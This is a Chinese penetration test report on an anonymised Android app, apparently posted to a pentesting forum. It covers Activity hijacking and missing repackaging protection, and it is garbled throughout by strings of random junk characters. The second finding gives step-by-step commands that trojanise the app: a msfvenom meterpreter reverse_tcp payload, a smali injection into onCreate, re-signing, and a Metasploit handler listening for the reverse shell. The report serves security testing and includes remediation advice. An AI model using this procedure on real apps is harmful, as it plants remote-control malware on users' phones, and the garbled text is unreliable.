D4 g9 I+ F/ Z3 | 5 n% w" b- ~2 D$ T3 m3 Y6 o: D 表1-2 测试结果 ; F7 w0 X( v8 t/ G8 W# m/ S3 b2 y5 N& e. U' T' |- H7 I/ \1 v

- M+ p: X3 `( S/ X' Q1 C8 Y# A 5 H; p/ M" l0 O) p

% ]* ?! ]* |8 ] 5 c* a* j) L2 F7 d6 a4 j) a1 P   ; L4 W/ o8 A1 k3 A1 n- h+ N6 V; r. i* ]

& ?( s' q/ d! i' r) f. p* g1 e6 i6 Q2 Z

- h( M3 n6 J4 |) y6 I0 J: v + g" Z) A7 j& f 2 检测结果                    7 s( B5 v8 p( ^& a+ A5 K. [/ z ( [. q, o4 q- i$ f& x" m

2 p; Q7 l& ?" ~0 |7 M % V0 W. r0 U, L, J% x% m; ~

1 {9 _# K8 Z. f* s- n 8 q P8 ` t% d8 n 2.1 某某某 ; p5 a$ O$ w8 d3 U. S4 m" f 6 ^, ^" E9 O3 V X m

- C+ ~2 \: k, e2 q 5 u1 r8 M: s3 @8 g. J* K

& K6 |! B |4 D* U( v' U0 U) M& M 0 n# S7 X- Q l4 x8 a/ d, b 2.1.1检测目标 1 y2 H5 \. A- c) P4 Y/ S 9 d, L o: u' t4 g

/ w+ u3 t* f" c N! L% a " z4 h6 [; W8 P2 d6 m

$ P( |7 G& D' Z/ g , |3 S! f% N" h1 u 目标地址: 某某某某某某APP [" K1 I2 _1 ~- D / j* I+ o8 _! A

6 h9 N" d4 ~% e6 z4 V5 P $ o4 `% N0 W! `2 j

9 W O' c) N( v7 a/ }$ G. W. N: \7 h0 t, } 2.1.2检测结果 ; v+ p/ w( \, J& k, o" \ ! N/ M2 t) \3 q# u

7 L( d9 L& @8 U9 D) g5 [& m - ?+ @& {+ }1 Y% L' w

2 f( A/ ~/ {1 s$ h" Q* f 7 j i7 X: h" N2 _& X- ~ 2.1.2.1 / s; w; }4 S! L' I% X$ m. X0 `9 @" g$ ]+ `. H0 X% x9 D, c

: e0 N8 t1 {& g7 |5 A' j ) L, l. A1 J) g- z2 O6 @/ b

/ O H+ x/ w& c$ w" s4 y 6 E* a( ~1 j. K" _ 漏洞链接地址:某某某某某某APP 4 O- e- ?1 m$ @! l9 i* a8 W0 ]3 |: |; o * p4 K+ D# |' E, h% s

3 F! N J N) R3 W1 ~4 N! e: m ; u4 t2 o8 O3 W" |! a

8 z# A( b h3 O) N! U0 W # ~- K# y! z; X! u& K5 x2 ?6 s   7 b v) j' [4 o* E( \3 r& h, I" F, V0 h8 j' q! L Q

; t5 O2 ]; q% T/ |# J ( Q! t0 N( J% }) ^, O6 N0 e+ v

9 Q1 ^- `4 v" @3 L* ^, N. N8 x " R+ f& z- }2 Q; i 漏洞分析及取证: " m, K' [$ m# v* E 2 A/ m( J8 n( `0 u5 |2 U p; Y a" d% M

+ @/ i* P( p' \& E- g2 v 1 @* l: _0 I2 W- ?8 R4 i* d

, d O N4 _3 _, L S9 |1 J+ r & g* D; b1 Q0 ^$ P. {                  通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: " }' u% v& h+ J" K, f/ M" X3 q+ ~! M5 G

1 U0 F& @3 U6 v: V) N4 x / ]. v p; w$ h7 V. e

* a9 Z2 t7 l( r) b ; v' T/ e9 }; K. C      - J, G [& C8 w2 U8 L6 K7 r" |9 w0 Z% L

2 m7 u- k* a& N6 A# v, M w3 n I' x5 W, c; A( c& s0 N& g: i

+ W. z9 D4 _* O5 l7 V; I# h$ q 3 H1 q' v) T) x- J, Q# y. K                       " S* g$ z9 Q$ f( U+ V4 s0 x% Y; k0 H) q( w3 i% T, b( y

0 O" H( M( R; V5 R) }6 n 1 j$ ^5 c! ]6 R4 K! E- I# _, D% f

# p* k2 T, X- C3 v0 ` % V- x" w9 x, J. G$ ? " F- j; M( P6 [! Z" h0 @, h4 X4 E. c- a4 G$ u

+ X& w+ }* o$ b- K0 j$ f) l9 m/ i( K8 ?6 l( v; E* |+ E, X

3 p% f. z3 K5 g2 {4 X, z7 L* m 7 Z: J8 {0 H1 o9 }5 [& Y* p' B , f5 i$ K5 X9 m! J8 ~0 l7 i. [. l% _! R5 z

; { i1 @0 N; I+ J4 p$ ^ & f6 a; q) u. C8 Q* `

2 L9 P1 P, ^+ [! } R& G # f) `3 a8 y0 n+ x" b$ g4 { : n! D( P. u( V) x$ i+ o! ]1 x+ { . P U0 f4 f3 Y* q8 f- k

/ [' M$ _3 T2 D6 N6 y: a 2 I) F7 T* T# s6 ?

/ \& V9 E m6 V C 6 B' m8 v! H/ S. `; A6 r4 {7 C 漏洞危害:高 * K. C5 X' J/ X. b/ m( t1 d# R _0 {' s9 N. k2 q

9 ?3 }, v) e' l! ~% v* ? ' B1 G7 H. ^5 P0 s% V& ^0 y' V" O
5 _) H. z# r- }6 P6 i( l$ u2 j a' z# |/ Y) Y, _* ?! e) K " e1 L; {" \ D/ d# L& h4 }* V& m$ e6 f) {, H4 E: [3 b. _/ x0 J" N2 R( d$ j T- B1 [0 d0 Y: Y- x% _% H; M8 @9 c( ^/ [ U9 }' c9 U* y8 ^! R* I" v: ?' L& e" a" }+ e5 w# c ]5 d# R$ I6 h) z8 J! z9 m4 Z7 z, [1 Q' b3 b/ A; ]- u0 _5 o4 {7 o& \6 e7 j# g7 C$ o, w; S$ u) G8 s& h2 [6 R! p6 Z( D; M* g: V& D- F- @' s$ ^/ P/ n4 M; ]# h0 A% y5 \& |. k" v- }" M- x$ ^ C0 v$ p. x! |$ x' D1 Y, |- Q$ h# h7 \: b% C1 S. e! ^7 S5 M) _/ G8 P( t+ b: i. U" z4 B, f7 j u+ T' j! r n4 s8 d3 w3 J4 f( j p8 `( R! J# D1 D1 G( D/ p5 `" U2 A% S: b. \1 b0 b4 g& n. E( d5 h" {( _" H; ~- @; G8 C& w9 I" f: H7 ^
& c |& P6 T* V c 7 |9 v' r" Q* P% {' u, b

: C. _9 }% H8 y" j 8 l0 u* ]$ O( G% m$ V 严重程度 . y) p! Y1 v0 N2 Y ^ , V2 m3 b" P2 T( M1 N

& Y. @, ]* ~# n % L& @2 y0 [9 d) v
/ w6 ]( ?1 V! u4 [% i+ ~' D- p" m9 Z Q; ?8 F

8 q [- d3 f5 h* b) u4 A* y5 c 0 O% Q( t6 s% d' J% Y, N 高 $ \6 N( F% J- ? ! V: t1 o: p* ^ a6 G; C2 X' I

H0 H$ ^2 n- c0 ]; M9 { ) Z- S9 C6 ]) ^1 q' s
- J3 }1 F9 M7 w5 C+ l( i! L5 Y' `/ Q& {6 S9 f! }

% v6 i5 h% K0 E4 ]8 W5 a9 V0 q# V5 w1 x0 t ■ , N& C% d# p* g$ f- J: y7 d h6 {& n- U/ w2 V

+ o d5 F4 Z9 E7 n3 x R* K" P6 i3 s+ n7 V( v
& }2 f9 J* ~' A4 q ' Q5 C' S+ ^9 R8 k

' S. t; c. B* M3 o# n7 b/ M 0 j0 e) B! Y1 G" ^2 _ 中 - f% z( V) G' Q2 {4 g: y4 C; Z ; f. m+ r$ i5 E

) K! B! Y0 \" q/ Y B6 U" t T ! x& S$ A a1 f' J; E
I [% p; S c W6 k0 W N6 L8 ?7 F" _5 C5 @0 Z" v9 p7 @

- S5 a+ I; U+ D, H4 j - h7 R" ~- z$ V$ C- C7 b! d* w* `   $ f( e& e5 t) H& ] n, ?+ T . |% ]5 T1 E; ?( |

. d7 q. H; L2 }2 d5 z8 s k. @8 ]- Y8 c4 N7 N% Y( t
/ j1 _+ |6 a3 Y" m6 f: s / J9 G6 O# o0 K' W3 p/ _+ ]7 w

( j" |! s( o g7 A( M: c5 {' j b4 M" `# K6 Q, ?& A/ @! i& e 低 0 f/ M% P: d& | 2 C. `5 g& y$ f

- K) {2 z2 ~2 Y' G2 D M) X( j * x- r$ J. o& Y& |; R
* h' k% p$ m8 p9 U: B # q1 t+ j3 w+ h% O$ ~

( Z$ D i! k5 i7 N6 I* W, `7 b$ v- h" r, Y   ' }. S4 ]4 s. t" r . M# S" Z1 C" t \- e$ }

0 @! \! D5 q9 _: I. n9 D ( A$ z; B; P6 {" v7 G
+ Y2 X! k7 ^% ` # O" a2 @+ O: N6 C. t* b% s/ o
$ q2 P: ^2 a8 g) Y3 n 4 f9 E& B3 V p6 T

. [- }7 G/ n( N' I: y : M! Y; v" M' I8 e+ ^   + d9 H' {( B1 J8 Q+ n3 Z; d, e) `8 u) w # M$ S( Z6 @; b3 D

2 t) F, e f( b& F0 c, m: w K W+ o" j

; f) t4 Y6 M: |+ R7 l$ W ! [% ?$ D* K0 c+ }5 a. N 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 / c1 a4 h# T- u7 ~0 ^- x* C6 n; {( v; ^/ @# ]

0 t, [: `2 u0 H . x( w) W. ^9 l; n2 w

/ f2 p* c- N$ d. V2 Q' [6 V- @8 B, E1 U$ ?$ n/ N% c7 z v! N% n1 B           7 B$ Z8 u. [- o8 X5 e; W& T9 g$ b6 i' E! s

; ^4 F8 x& l8 C ; |% V2 Q/ O6 O8 Q$ ?& V9 m

# t: R2 C. T# i( Q( ~" | $ Q6 Y, n3 Q6 A& X B [+ T) p) D   ! y( F$ Y; n8 y$ P ' ?" S- s9 X! S

9 V5 A* Z: L! F6 c/ g8 F4 j6 a 2 e: a+ t! K+ k2 f, _$ `8 Y0 O5 a5 M

7 o% n6 @8 K0 s9 y% H/ t( J6 B + F& u1 n, R" E# e D/ L 2.1.2.2 0 a$ _4 z" s% u! O" y- V: H : |! e$ `/ H# J* J

( X% o9 n M3 @ : z. e; c4 B0 q- U

/ K! x. q0 n, D6 M7 S- b8 U; D6 ~1 B# ~. e 漏洞链接地址:某某某某某某APP ) D; d+ _4 o) |5 K* c- @. k% E2 c+ g+ h* X f1 G6 ^- }

4 ~6 t9 F" | y( T6 ?/ F/ z 6 N3 S' ]3 @* h% v

' I# K3 H# F4 H# P; m- |0 ^ ) S6 N; Z; H# Y; G 漏洞分析及取证: 7 Y! @7 Z. |( l' k' o( a# f$ z( J8 N" y9 D8 `& ^5 ~* z$ j3 u! d

. a$ o+ u9 [0 X. K" P 3 X+ @7 O" N, ], d/ c# j y8 v# z

' h1 J @+ c3 c) H# G6 ?, {' H. w- \                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: . R( d. A) @0 G0 B, R # r4 r: T4 T/ x" w

2 {; v) |2 G H7 p) U6 c5 B: w 3 j1 B: m h4 k y5 C; A6 f

, I3 O4 t. m) W+ l* m% K& S ) {, K8 k! C" e3 w6 u# n9 p' F 用Metasploit 生成木马 apk . G0 i. m6 ?2 c0 k4 E0 r# d: }. A& N! h9 c% }" x

+ H7 b/ m5 L; P% K* V, f7 H; z2 M7 J+ g5 z- `! V

+ G* Z( Z0 x: E5 y' M 8 D3 x" ]7 Y2 P6 w2 L msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk $ a: A& K# s2 |4 s5 z* j 1 m7 n8 z: I7 ]2 P

1 {1 U4 D! Q/ K( Q j( T2 C! {4 Y" ~1 K) R- q3 d

% R9 R' n8 C! k Q l 4 K7 I6 N! d1 T8 n 反编译目标apk和木马apk . k# v' c; x- R% t8 A$ g 8 O3 Y2 q9 @ S5 b

% ], V {% B: ?6 _9 ?% j- `+ T$ \$ Y: l

) T* i& k8 a6 K( C5 b 5 C. H; x( i* b' x" q0 } apktool d target.apk
' L" @1 w g1 f3 t 3 _) ]( E t9 X4 | apktool d cockhorse.apk
8 A6 ?: x, F2 u 0 t5 { Q/ i% a% o6 Z' \ R& n

5 D8 H# I+ P# E( H/ B9 D / Z# T' y( }) Z

9 `- F* t3 h/ L. n; T7 E & H) a% G( I0 i8 K: u 木马 apk 注入目标 apk " s$ q4 }3 B0 B4 A3 h7 P6 f% m S" t

# b4 O9 G' F, F: L0 n2 M6 a3 N7 k. t% w6 U$ \( K

( t) B$ B* u" R8 h9 _2 K& I* N . J, F1 ^! f% h7 E 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
$ s% E! |0 R5 _4 {7 ?6 y( l5 s8 a6 \' F7 Z, c7 F9 ^ invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
: y9 Y! N# V: E' k7 | ]/ d 8 `0 Z* a% i. J2 D; P" p

6 D$ T" T% B, l8 M% m9 t8 G W* ~, E9 g

- s) E; z; Y1 W, m; I0 k3 y" w 0 U/ [% z3 C8 q A 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 3 f4 C. D2 p$ c$ \! J# K5 _ 6 h+ H/ s4 v; s, @* e P; D% n

! l4 Y5 Q# }& s" K9 e1 f- g $ B: X Y1 }2 M4 l; M

' t- t' k, S/ \6 w' H! i s7 Z8 f( ] , ?# J' `4 p- R# g 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 ; v* p0 E* y F# y2 u * o3 c( t6 I# Q8 z+ P: d3 p

+ P% {; l( Y$ x! H9 k, f- ]8 V9 w K- a! X7 c) J# O3 s+ D

( i" k$ x( G3 d; b3 w- q: ?0 J$ ?& ^% x; Q7 f. q6 y; ? 回编译生成最终 apk ' v5 x' v5 T$ Y/ r8 w / @: y, F) T7 D5 ^% g- s

Y" Z0 R' B$ [( L6 ~ 7 t O3 W' z9 E7 s

- G7 w+ l8 o: j$ \7 w# m, p . z: Y6 N9 q$ X6 X- c: q 重新打包 7 k+ }. |0 c* a h* U% m" y; D! [+ B' I" y7 C& d

4 M; T' j& f; C: L9 V2 a; x7 G0 O+ e! r# u [3 e- U6 N

- ?0 l- N3 J/ C% |: p! m1 v J+ }: _ apktool b -o repackage.apk target_app_floder . u4 l) m# e$ g$ V m, y8 W* `; U B& h/ U; M

- o% C6 u" [$ B . x& T5 {1 o1 N6 c5 ^

; Q N+ ~( V* B' S$ R! I+ s: K% H! \4 W6 E! d" R. V* o" \ 创建签名文件,有的话可忽略此步骤 + O9 q; u" L0 V. }# n 6 l8 d$ g. `+ W# k C

4 O4 e1 p a9 ]' D" T, Z ! X6 m% V: N( Q2 E% Q. J

8 ?+ D% V& `" o: R2 g( w: @, J! V# b# B& U" T b keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                : \+ X+ s% q; C 1 \$ M6 @0 L$ Y+ u1 b

. j# y+ C1 O. i* H. P, Z9 ^! f 4 r8 x5 l9 c! L3 T; J/ \

# ^# u! [- G, q2 V; p ; s i( Z, N1 X 签名,以下任选其一 / q( M( q! ? Q6 @ 8 ?# j" S3 i! r4 ^* B b

; X) H* m% G; ]( L1 v* a 7 @- C. q1 f$ |& T6 ]

+ ^! e" A/ M! U; x 4 [; x& o9 t+ C7 s$ G& P jarsigner 方式 ' @' ?/ v' U E. q* D 0 t6 j2 C# n' ~" l; C K0 }

- g" L/ ~4 f- Y& P* C- A. C & Y- ^6 T. o' B5 Z

6 m5 |0 n& k/ p' J- y0 F" d ) h- ~/ M$ c3 R" E jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 5 Y3 y5 c: K$ R/ ?: ]# K1 }+ c, t 4 n* G- A9 a' c ~4 p

* F1 K y: Z& M& j; B/ s- c& k" \% G- n( p4 {. v/ @

i3 m1 l) B$ K 4 U/ R: t3 _8 s apksigner 方式 5 P' X1 z, p* o- x( |4 u5 g: K: }. j# Y" k* W% d

2 b8 Y# }' a7 Z, U. t# v 9 G9 S# w, H# A/ f U' g

. V& R3 g9 a6 o5 @ $ K8 W8 `& J- i* I3 v9 ` apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 1 Q/ J Q0 X. }7 [$ | # R6 F) @4 S- K* R$ ~; s4 l

* K1 f( E; k* V, W; C/ s: C9 s- n/ g# I( o. [( J6 K. v

* ^5 m& L# h2 ^- D1 X6 y; H$ w) J t% X. B0 R1 A( q* D 如需要禁用 v2签名 添加选项--v2-signing-enabled false ) U& x: h" H# h * J. i7 {: ?2 [4 j. m

H7 A& U( y* P$ N, ?3 X, z' }- @! T% g$ B8 ^

. _% I- M; d, R6 f3 |) N9 D; \, e. _/ J" N) A. i" p, t 验证,以下任选其一 ; Q+ L; }4 [$ D5 }, L! A- V8 S5 h, r , d q d; S+ Q6 v+ m9 Z

8 n4 t% ]! o% l' k4 @ b/ `/ _' y+ X0 R9 m/ ]6 _

% l9 g( o' A6 p% `8 d$ B' J " Y' Z2 j+ @$ f5 {$ |& U8 }( m, i jarsigner方式 5 f1 I$ f5 ?: \) E. R 7 g/ l z. B% R; h" G( E+ c" i. d6 F

# _3 P/ @6 B% V9 m5 L& i2 \1 I6 n / O" H4 m" W$ w2 \

: Y7 m- _3 |9 I7 J 9 ]! W5 b# a( X" [) f, N: J$ |0 r jarsigner -verify repackaged.apk & U8 R+ A4 o3 t! d( W' k. Z p y 6 z" G5 w1 O, V9 P/ L

; [, \2 j7 S* x& O/ z a/ x : Y" @2 l; k+ E- [

N- D: E6 S# T* y1 u6 k 1 m1 W, e+ U$ p C7 V6 e apksigner 方式 % S+ D; L, Q- n7 ^2 O: l% a 9 C7 O7 ]6 t/ t- b9 {8 y

# o1 C& H9 b) A! ?9 H ' d( K0 @# G& G

g$ W% o1 @0 `$ z & H' j6 P) w$ G7 e& J' y4 O apksigner verify -v --print-certs repackaged.apk * S% o6 j+ c5 u; \3 q- p# G3 o1 v( y* I' v6 r

1 F# t7 ]* y2 h9 C8 F, H/ L) }4 M* P* k

# @9 ]; e2 Q" j" V" _8 N. A; O3 _, C6 n0 d3 m4 [0 ` keytool方式 , t, }' y- o+ E" G- @1 ^) ], r1 D$ J. G4 g

2 C; C; {. W' y6 {/ @" |& \ 2 {1 Q8 {/ A" w2 {& j* `# e

" W b# ?1 L$ J5 D; E8 _* L + F$ ?( c/ z9 m( M/ V9 M& Y' V/ W keytool -printcert -jarfile repackaged.apk . g5 _5 h8 l3 O! _; e4 ?, J ( H, d$ e2 z" N, h% Q' }* q% [; G

2 H0 v; e* q* U* U/ v, O; ?" s # ^- U% B; j0 ~# D% E# U

( C' A | i" g8 a% Z( w" D4 k ' _6 s2 O. h! g+ o2 H$ s _ 对齐 6 W5 `% g' X- ^" P. v& O2 r) Y 1 E4 F+ f3 R j- s

: S% V1 s- K- z8 P1 [) @ 2 `6 g7 B' W! v. x, M9 ^& j

- A! k% X2 E1 _; J) D, s6 c5 D* B: g5 m* P 字节对齐优化 - [6 A$ [" O; t6 q ) O6 {% R+ t6 G9 n7 q1 Q

9 D" H3 l, z9 }) j. y' b 0 H+ O$ ^. b% y8 n+ a5 u7 N' w9 k

5 U9 S9 ^" ~5 q$ }9 Z1 D/ S : A3 b2 }7 J( |! G, R) U zipalign -v 4 repackaged.apk final.apk , f/ C, N. ]2 d7 Q : O4 e; J3 g8 e) H

2 l. s! D6 U( Q9 `6 E# D / z' b* z7 o" B! j

; q e# M0 R# ` F ' F! Y6 w. P; W 检查是否对齐 8 i, U; H7 u5 B" m2 n 2 `( q2 J g) s+ D* \

\. O) U8 c* t) a: |# J t7 @, f. C8 x9 U3 k; w) E

0 A H. m" T+ ~/ b* P 0 @+ `. e" u# b8 [( n. @2 X zipalign -c -v 4 final.apk / E; l4 ~# p9 f9 k# H# i 9 [* ]( W8 U; I% w

4 {- \6 Q, f: e; q# J 8 c5 R- m- a* f: V; a

4 m& v& u2 s/ x! D# C* U3 v 3 e/ R1 u2 }8 }# l# y( K8 z 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 . E; g5 ^ v+ r' E2 \: S2 Q) x: W# n- Z; K) r1 _. y, B

7 ?$ t! d- M, V) H- l) j0 R5 A: {, i5 A! d

4 \; R0 Y1 M: c, Q d 1 ?( b% E$ y& G' M8 q y0 \8 p: \ 启动Metasploit控制台,配置参数等待上线 % N4 M, L' ]* z: I% }2 d: B : j @# L0 Q. v

; K( c% l# \; q8 h, Q4 z* Q( U : C' a" i7 x$ c- [/ r

4 F8 B, S# A5 W- k 6 v" p; T3 O6 B+ t2 P' ~ c$ u 在终端依次输入如下命令 % A8 F1 g' O6 } + Y' R/ L7 [9 V* g1 q) ~9 C

( S ?: t2 X+ p% I s( T3 B 7 r& o# \! z% P) a7 Z( L7 r

" M+ C9 u+ j! L/ U ) W, j; Q; g5 C msfconsole 4 C$ c6 M/ o* [. }" L- e 2 H8 i, ]1 p$ U6 |. X7 |

. w% o* y% ?& M9 k/ p3 K$ h" n1 _ 7 y- g! q! k* Z' U+ H% q @: D( w L

6 a) n' T4 W8 k* t) F. H( ~2 ] + T3 l. v3 h/ y0 _7 z- n0 V0 _ use exploit/multi/handler & G( m. \/ g" W, g6 G: [$ Y8 y ! o3 W% Y8 `& ]# }2 \

6 O5 v) ~ m+ P0 Q! q+ p& ~- t . f g) t6 ?; g7 r

& H' I( A' K" q8 V ]( ^* g0 Q6 I* d3 u2 l0 e- P set PAYLOAD android/meterpreter/reverse_tcp , r; i3 _' ^0 ?0 I2 h- V* R3 _; @* g % j$ _- t$ A# f% R" X' e M: _. W

* k, o2 ]% c- {% l / O8 N3 u6 s9 V6 q

/ i+ p9 h. Q$ z9 J0 Z5 i & C) J. X1 l) d9 O& Z: l set LHOST 192.xxx.xx.xx ) V, C3 o% }+ `& A3 ^+ I 2 [* f2 l( R7 E' ]7 g4 W* Z

! [5 y2 K$ f$ a* E- P* V9 `( n2 C , b& e, O; s8 z+ ^

% n! ^ n* B2 e7 ^9 O 7 q' f, g n# c$ Q' { set LPORT 4444 $ Y* w5 j; b. Z0 y& e3 X' v * }6 T, i$ `" J% x

3 O3 U, ?; T; r3 T; l$ i: `1 ^3 C3 V- b- [- B; b( G

' |7 P* L. S( K4 |9 A# f& z7 y ' d5 L: V; t0 J# P+ J6 t: R# y exploit 4 i! z1 ~ Y! r1 d- x, o( ]2 p / _/ D. d6 R4 E+ ~! i% N) G. i

2 y- \9 J: I7 E, a% u. o3 E$ b: D6 F* P5 [7 x2 C; v

! E3 r" d/ Z B, Q6 v6 }+ {2 U0 H% t/ H9 p1 N$ w! @& R; @7 C 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               ) b r( H, ?4 h5 K. \. Z2 k / @3 n {/ a$ m

! G, l# \% e t' ~* a$ E/ K. s! X% W

; R0 O. C9 b+ q [+ y. j p* k6 T/ { 漏洞危害:中 8 R! J* _' J8 l/ o3 E- w% S f3 R % C' H% m. r& e. ~$ P

n- i9 t7 C/ g' M! p- M / ~% _, T) v7 u
. _4 q9 ~) p2 ` ; f9 r+ }/ A9 f! H8 K# t # n5 ^5 @# D" H) A . `7 W" D3 A1 C( `( R 4 |: G' W5 a- a& O2 H7 p- y, i: }% Z7 p9 q% J7 h2 ^( b( L9 H7 _2 w' A9 Z# J( R7 L$ @4 P& ~; C x8 k/ _& s8 c6 e% r; G# P4 p+ k* @: w3 E2 ~3 `* B- J& ? @7 l4 S9 s" c2 Q4 h8 m$ Z& @8 e# T3 o" r' ], w; l* y, |/ h; V' {$ O$ y" r! i& [) I8 {0 w9 x; r9 P f# G/ U+ w. e' J: x" G9 @: `9 E2 }: t) D) w6 {; |4 T* ], v5 a5 s5 t( Z* ~. w0 e3 p2 d" D% L4 J% x# O. [7 ?9 a, Y$ t5 b) Y( ]9 {; M) e( Y g% \" z- W% j1 ^; M: @* s4 X1 u. B7 R# [' K1 F9 Y+ {+ J+ O. i3 r* U _; I8 w; n* ?) d, q: Y6 Z: Z5 R! q5 u5 b6 S0 S' `; x8 ^0 { I4 Y5 k, _8 D# A* y( A2 @& _# t3 E g) \/ V( j" Q' {
3 v6 u8 ]7 X0 ?7 h) c8 z " t+ [' O& k1 S; x* J+ @

6 \+ Z1 c5 N# c) {, a# s % Q9 y1 E0 B% q7 f 严重程度 . J s/ h% y5 ^/ k& p; o$ c2 Y" o) M# C

9 A' O5 D$ ~5 {. t( O! Y$ X. q$ ~+ K4 \' @: K5 `
8 M5 J5 I4 v( O" @9 v 8 `" ^8 s8 _1 t9 A, v0 y' }' T* C

& h% _) T2 j2 I 3 K$ o7 Y f! a 高 5 o* m T& j' @% J 0 v4 F7 G9 N' p7 W1 J- R/ _

7 @, A% o! i8 e/ u6 W2 w4 g 9 d' t$ M4 Q& R" d5 J
- {7 o6 q& t9 N * L6 h) s$ j+ S8 ^: n

$ J6 C! e. m R: T2 ?: g: z- r 1 f, k: Q% l0 g, ~9 U. C ■ 3 `$ N9 N. h! d) V 6 }, b3 a7 a5 d

/ h) {% `- v6 J/ `- B' |7 ~. @ / p0 Z6 J+ X2 M! ~$ e$ N5 A# t
( v% v& @# E x. c& M $ W: m5 A" j) Y4 Z! W' Y

7 g6 f$ l8 b# M) Q+ k 6 P/ F7 W1 L- |) ?( v 中 5 G+ a" p5 i L- O 6 V4 X( `( o. ]2 m# c; ?0 n4 N

% G/ F1 V0 {8 f v3 ~' z- q 0 @$ c$ R9 ~$ M* Y$ }- f5 R" g
) {% q" d$ d5 {4 | " B- A! A* T- Q * |( S7 J! O' \$ v9 B3 `. n+ l9 m: } 5 o* u8 E! o& g. M1 P* B: P. _

6 s- Z, u/ e/ q4 s3 f ' R9 a! b: G2 K- ]& Q; \) {   ; L/ U" V5 L% x( H c! F * T4 C8 W+ b' R3 K& p

g; S) i5 m, j% l0 N$ m" ?4 e% A ; _) n( H( E# ~& c }+ D2 s9 ]
9 M0 V( U! ?- R, v& s 0 s( Q, o) b3 x% @1 w3 |

B4 w+ y; y6 m5 E - a; J; m6 e7 W" \6 l/ Z2 j6 q 低 , @( P/ \& O3 b) J. ]& c" I! Y ! c) S5 n5 w. b' J

- r- B0 X* v: x. O( L * Y9 t# f$ {2 E% |' P
- o6 n4 Y7 M: k0 r" e ) X, x9 U7 c$ j6 \: q5 a ; I/ j! C- r" Z p2 |2 _' [8 s& F$ R* X0 S

3 R( G/ H" E7 _) s; h0 f1 z 5 i& ^9 _1 G' u7 Y) E9 Y- y   * f5 k# q! f7 G H ! r) b# [% g% r0 }+ L, R' U

7 o# a2 ?; b' H7 K( W* d. l4 x( T+ T; X% c
( s! i! @3 u1 w: ? , {* e& e/ l2 B, r; K8 X7 V* G
9 L: y) N# W0 ^! z. ^, \6 N " {7 E6 I+ l# Q0 E5 m

# q) M; w8 E- o9 `& X * s% z% D, l1 F. L, w   9 l2 {! C7 v- m& ^" r4 } 5 H* ?/ k0 J# \0 `( S' b' i, M) A) ?

" x2 f% m g5 C1 x" R ; y4 }0 C; w8 f2 [

" i5 N" W. l+ Y5 |+ w2 I , q) h2 O1 q) P 修复方法: # ]1 d. c* R& A, V+ U% O* N9 G% b& N+ z! ?2 b

! T) U$ \$ m8 { # r: @7 @ U6 @( G; h

) _, {/ i* b3 o. W! q + q1 E% x4 j/ d% f- y# j7 D: G% d1 @               1.在 APP 启动时应做签名校验防止二次打包。
# y! G* |9 V3 w: ^ 6 o# A. g; ~1 z0 z, P 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 ^5 H4 a/ P( h. d% G. o. m - e2 m6 o! x' Y$ @$ G R

6 }% u7 K9 n8 s& Q7 g% h ) J: y0 ^" Q, B& g0 _ , O1 S0 s0 }. W8 I4 I7 _& c( b 5 K: U" u) }& h E. Y

* [/ r! {) V0 n 5 e- |3 f, c& X" r# Y3 M I3 q   & P- {$ A( f7 W. w8 H" O# i: K$ z' a H( ~3 X% y( Q

& z5 g& v$ C* H/ | , |4 r7 ]! L4 T, X % F" Z3 W( K; F & t* C: [& _2 X

" [/ P, _7 d n% x1 L% @" O% Z. o : J$ r7 X) }9 X7 Z5 N
% J+ W3 H7 K1 W0 R' V" n $ d% ^8 }( W+ J& k7 \1 \4 z9 x

; _$ a) N1 y% ? g5 H0 W; i 4 T' p! ^; O4 k% f; U" @2 P+ b





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2